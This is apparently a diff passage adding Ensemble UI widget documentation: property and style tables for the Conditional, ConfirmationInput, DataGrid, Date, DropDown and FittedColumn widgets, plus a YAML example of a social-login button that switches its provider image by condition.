parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | + +--- + +# Conditional widget + +Conditional widget allows developers to conditionally render UI elements based on specified conditions, enhancing dynamic content display and personalized user experiences within the app. + +### Properties + +| Property | Type | Description | +| ---------- | ----- | -------------------------------------------------------------------------------------------- | +| conditions | array | Allow users to conditionally render their widgets using `if`, `elseif` and `else` statements | + +**Example** +Conditional widget is very useful specially when making a custom widget where users might want to have a default value and an optional value. Let us take an example for its use case + +Consider that you are trying to make a custom widget or Button for dealing with social logins, since there are more than on platforms like Meta, Google, Apple etc so choosing an image based on `provider` variable is a viable choice. But how can we check if `provider` is apple or google etc ? + +#### Steps + +- First of all declare the base custom widget yaml code. Then use `Conditional` to render `Image` widget accordingly. + +**Code** + +```yaml +Widget: + inputs: + - provider + - label + onLoad: | + //@code + + console.log(provider); + console.log(label); + + function capitalizeString(str) { + return str.charAt(0).toUpperCase() + str.substring(1) ; + } + + if (label.length > 0 ) + providerText.text = label; + else + providerText.text = "Sign In With " + capitalizeString(provider); + + body: + Stack: + styles: + alignChildren: centerLeft + children: + - Conditional: + conditions: + - if: ${provider === 'apple' || provider === 'Apple' } + Image: + source: https://firebasestorage.googleapis.com/v0/b/ensemble-web-studio.appspot.com/o/custom_widgets_assets%2Fsocial_login%2Fapple.png?alt=media&token=893491f0-5300-4b29-8fce-30fe98eaec76 + styles: + height: 24 + width: 24 + padding: 0 24 + - elseif: ${provider === 'google' || provider === 'Google' } + Image: + source: https://firebasestorage.googleapis.com/v0/b/ensemble-web-studio.appspot.com/o/custom_widgets_assets%2Fsocial_login%2Fgoogle.png?alt=media&token=c91b1a27-a0bd-40c2-b82d-0f250762bc0b + styles: + height: 24 + width: 24 + padding: 0 24 + + - Row: + id: rowId + styles: + borderColor: 0xFFDEDED4 + crossAxis: center + mainAxis: center + borderRadius: 8 + height: 50 + children: + - Text: + id: providerText + styles: + textStyle: + fontSize: 12 +``` + +--- + +# ConfirmationInput widget + +The ConfirmationInput Widget enables the seamless rendering of a verification view. The usecases are entering OTP, Confirmation Code, PIN Number, Reset Password, Coupon and more. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/iCOvav6CcioH46LR6wYF) + +## Properties + +| Property | Type | Description | +| :--------------- | :------ | :---------------------------------------------------------------------------------------------- | +| length | integer | The number of the text fields item. | +| enableCursor | boolean | If the button is inside a Form and upon on tap, it will execute the form's onSubmit action if this property is TRUE. | +| autoComplete | boolean | If it is True, then it will trigger onComplete when the user specified length and has typed the full length, False will trigger onComplete when the user hit Enter. Defaults (True). | +| fieldType | string | How the input field should be displayed. | +| inputType | string | Pick a predefined input type. | +| obscureText | boolean | To display the pin as obscure. Default is `false` | +| obscureSymbol | string/Icon | To display in place of pin as obscure if `obscureText` is `true`, it can be a character of length `1` or a `icon` widget. Default is `*` | +| defaultFieldBorderColor | string | Set the border color for inactive/unfocused state of text field. | +| activeFieldBorderColor | string | Set the border color for active/focused state of text field. | +| filledFieldBorderColor | string | Set the border color for filled state of text field. | +| defaultFieldBackgroundColor | string | Set the background Color for inactive/unfocused state of text field. | +| activeFieldBackgroundColor | string | Set the ackground Color for active/focused state of text field. | +| filledFieldBackgroundColor | string | Set the ackground Color for filled field state of text field. | +| cursorColor | string | Set the color for the cursor. | +| styles | object | [See properties](#styles) | +| onChange | action | Execute an action when a change is detected to the text field | +| onComplete | action | Execute an action when the text field fully entered or when keyboard submitted button tapped | +| autofillEnabled | boolean | Enables or disables the autofill functionality for the input field. Default is `false`. | + +--- + +# DataGrid widget + +The DataGrid Widget enables the seamless rendering of data grids, facilitating the organized display and manipulation of tabular data within your application for effective data representation and interaction. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c5940e18-f2c1-4318-8e68-a678a6ae7247) + +## Properties + +| Property | Type | Description | +| :--------------- | :------ | :----------------------------------------------------------------------------------- | +| item-template | object | [See properties](#item-template) | +| children | array | List of Data Row widgets. | +| styles | object | [See properties](#styles) | +| horizontalMargin | integer | The leading and trailing gap for the DataGrid view. | +| dataRowHeight | integer | Set the height of the data row item. | +| headingRowHeight | integer | Set the height of the heading row item. | +| columnSpacing | number | Set the padding for the column. | +| dividerThickness | integer | Determines the thickness or width of dividers in the DataGrid widget. | +| DataColumns | array | List of data columns | +| sorting | object | Sort the data columns in ascending or descending order. [See properties](#styles) | +| thumbThickness | double | Set thickness of scrollbar. Default value is `10.0`. | +| scrollbarBehaviour| enum | Scrollbar behaviour `static` or `fade` when grid is not intereacted with. Default is `fade`. | + +### sorting + +| Property | Type | Description | +| :--------------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | +| columnIndex | String | The index of the data column to be sorted | +| order | String | Set the data column sorting either in `ascending` or `descending` order + +### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | array | The data row widget to render for each item | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| headingText | object | Set the text style for the heading text.[see properties](#headingtext) | +| dataText | object | Set the text style for the data item text. [see properties](#headingtext) | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +#### styles.headingText + +| Property | Type | Description | +| :--------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| fontSize | integer | Sets the size of the text. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| decoration | string | A linear decoration to draw near the text. `none` `lineThrough` `underline` `overline` | +| font | string | Default built-in style for this text. `heading` `title` `subtitle` | +| fontWeight | string | The thickness of the glyphs used to draw the text. `light` `normal` `bold` `w100` `w200` `w300` `w400` `w500` `w600` `w700` ` w800``w900 ` | +| lineHeight | string or integer | The line height of the text, which determines the vertical spacing between lines. It can be specified as, a number, or a string chosen from a set of predefined values: `default` `1.0` `1.15` `1.25` `1.5` `2.0` `2.5` | +| textStyle | string | A linear decoration to draw near the text or whether to slant the glyphs in font. `normal` `italic` `underline` `strikethrough` `italic_underline` `italic_strikethrough` | | + +--- + +# Date widget + +The Date Widget facilitates the rendering of date input fields, providing a user-friendly interface for selecting and displaying dates within your application for date-related functionality. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7zOy8oX5dxQU7kD5IO4) + +## Properties + +| Property | Type | Description | +| :--------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| id | string | ID to be referenced later | +| maxWidth | integer | The max width of this Input widget (default 700) | +| label | string | Label for your widget | +| labelHint | string | Hint text on your label | +| hintText | string | Hint text explaining your widget | +| required | boolean | Whether the field is required | +| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | +| icon | object | [See properties](#icon) | +| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | +| styles | object | [See properties](#styles) | +| initialValue | string | The highlighted initial date in the calendar picker (default is Today). Use format YYYY-MM-DD. | +| firstDate | string | The first selectable date in the calendar. Use format YYYY-MM-DD | +| lastDate | string | The last selectable date in the calendar. Use format YYYY-MM-DD | +| showCalendarIcon | boolean | Whether we should show (default) or hide the calendar icon. Selecting the text will still open the calendar picker | + +### icon + +| Property | Type | Description | +| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | string | The name of the icon | +| library | string | Which icon library to use. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. | +| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | +| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderRadius | integer | The border radius for this Input widget. This property can be defined in the theme to apply to all Input widgets. | +| borderWidth | integer | The border width for this Input widget. This property can be defined in the theme to apply to all Input widgets. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | + +#### options for styles.variant + +| Option | Description | +| :-------- | :------------------------------------------------------------------------------------------------------------------- | +| box | draw a Box border around this input widget. This property can be defined in the theme to apply to all Input widgets. | +| underline | draw an Underline below this input widget. This property can be defined in the theme to apply to all Input widgets. | + +--- + + +# Divider + +The Divider Widget is a simple, horizontal or vertical line that separates content visually within your application's layout. It is primarily used to create a clear distinction between different sections or components, improving the overall readability and organization of the interface. Common use cases include separating items in lists, forms, or between groups of content in both web and mobile applications. + +Below is a preview of the Divider in action: + +--- + +# DropDown widget + +The DropDown Widget enables the rendering of dropdown menus, providing users with a selectable list of options within your application for intuitive and efficient data selection. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fb8d28a2-834e-40a9-8419-155272fb0191) + +## Properties + +| Property | Type | Description | +|:-------------|:-----------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| id | string | ID to be referenced later | +| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | +| label | string | Label for your widget | +| labelHint | string | Hint text on your label | +| labelStyle | [TextStyle](#TextStyle) | Styling for the label | +| hintText | string | Hint text explaining your widget | +| required | boolean | Whether the field is required | +| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | +| icon | object | [See properties](#icon) | +| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | +| value | string | Specifying the value of your Text Input | +| autoComplete | boolean | Enable the Input search suggestion option | +| items | array | List of values, or Objects with value/label pairs | +| itemTemplate | [ItemTemplate](#ItemTemplate) | Use this to iterate through a data array and render each dropdown item, as well as specify the selected item's value | + +### ItemTemplate +| Property | Type | Description | +|:---------|:--------|:--------------------------------------------------------------------------------------------------------------------------------------| +| data | array | Specify an array of data (or an expression that resolves to an array).
    The system will iterate through each item in this array | +| name | string | As the system iterate through the data, you can reference each item's data using this name | +| template | Widget | The widget to be rendered for each dropdown item in the data array. The widget can reference the data using the name specified above. | +| value | string | Specify the expression to evaluate as each item's value. This will be the value when a dropdown item is selected. | + +## Styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| textStyle | [TextStyle](#TextStyle) | Styling for the selected text | +| dropdownBackgroundColor | integer or string | Sets the background color of the panel with the list of options that appears when the dropdown is open, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| dropdownOffsetX | integer | X-axis offset from the dropdown field of the panel with the list of options that appears when the dropdown or autocomplete is open | +| dropdownOffsetY | integer | Y-axis offset from the dropdown field of the panel with the list of options that appears when the dropdown or autocomplete is open | +| dropdownBorderRadius | integer | Border radius of the panel with the list of options that appears when the dropdown or autocomplete is open | +| dropdownBorderColor | integer or string | Border color of the panel with the list of options that appears when the dropdown or autocomplete is open | +| dropdownBorderWidth | integer | Border width of the panel with the list of options that appears when the dropdown or autocomplete is open | +| dropdownMaxHeight | integer | Maximum height of the panel with the list of options that appears when the dropdown or autocomplete is open | + +### icon + +| Property | Type | Description | +| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | string | The name of the icon | +| library | string | Which icon library to use. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | + +--- + +# FittedColumn (deprecated) +This widget is deprecated. Please use [FlexColumn](/pages/widgets/flex-column.md) instead. + +Stretch to fit the parent (the parent is required to have a predetermined height), then distribute the vertical spaces evenly among its children. You can override the space distribution via 'childrenFits' attribute. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------------------------------- | +| children | array | List of widgets | +| onTap | action | Call Ensemble's built-in functions or execute code | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| childrenFits | array | Specify array of numbers to set how space is distributed among the children. Use `auto` instead of a number in order to have the child widget determin its own width. | +| mainAxis | string | Control our children's layout vertically. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | +| fontSize | integer | Sets the size of the text. | +| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports) | +| gap | integer | The gap between the children in the main direction | +| crossAxis | string | Control the horizontal alignment of the children. `start` `center` `end` `stretch` `baseline` | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 